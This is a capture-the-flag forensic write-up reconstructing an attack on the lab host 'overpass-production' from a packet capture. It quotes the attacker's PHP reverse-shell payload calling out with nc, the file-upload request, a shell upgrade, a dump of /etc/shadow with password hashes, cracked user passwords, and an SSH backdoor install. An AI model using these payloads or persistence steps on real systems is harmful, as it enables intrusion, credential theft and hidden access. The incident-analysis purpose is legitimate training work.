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Overpass HACKED

PCAP Analysis​

  • Reverse Shell Upload Page: [IP:/development]
  • PAYLOAD:
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
  • PAYLOAD NAME: payload.php
POST /development/upload.php HTTP/1.1
Host: 192.168.170.159
Content-Disposition: form-data; name="fileToUpload"; filename="payload.php"
Content-Type: application/x-php

  • User - Password: james:whenevernoteartinstant
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ su james
Password: 'whenevernoteartinstant'
james@overpass-production:~$ sudo -l
[sudo] password for james: 'whenevernoteartinstant'

Matching Defaults entries for james on overpass-production:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on overpass-production:
    (ALL : ALL) ALL
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::

Attacker Persistence​

james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
james@overpass-production:~$ cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
+---[RSA 2048]----+
|        .. .     |
|       .  +      |
|      o   .=.    |
|     . o  o+.    |
|      + S +.     |
|     =.o %.      |
|    ..*.% =.     |
|    .+.X+*.+     |
|   .oo=++=Eo.    |
+----[SHA256]-----+

james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222

Brute-Forcing​

  • We were able to Crack 4 Passwords 
1qaz2wsx         (muirland)
abcd123          (szymex)
secret12         (bee)
secuirty3        (paradox)
:: Hashes
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::

Code Analysis​

  • GitHub Backdoor Analysis.
  • The Attacked Used this HASH to Establish a Persistence.
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
// Default HASH >> (Source from GitHub Repository)
"bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"

// Attacker HASH
"6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed"

// Hardcoded SALT >> (Source from GitHub Repository)
func passwordHandler(_ ssh.Context, password string) bool {
    return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}


  • We can Combine HASH:SALT to Brute-Force the Credentials with john
JOHN SALTED HASH
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05

  • Brute-Forcing the Attacker HASH
  • Username - Password: james:november16
Loaded 1 password hash (dynamic_82 [sha512($p.$s) 128/128 AVX 2x])
november16       (?)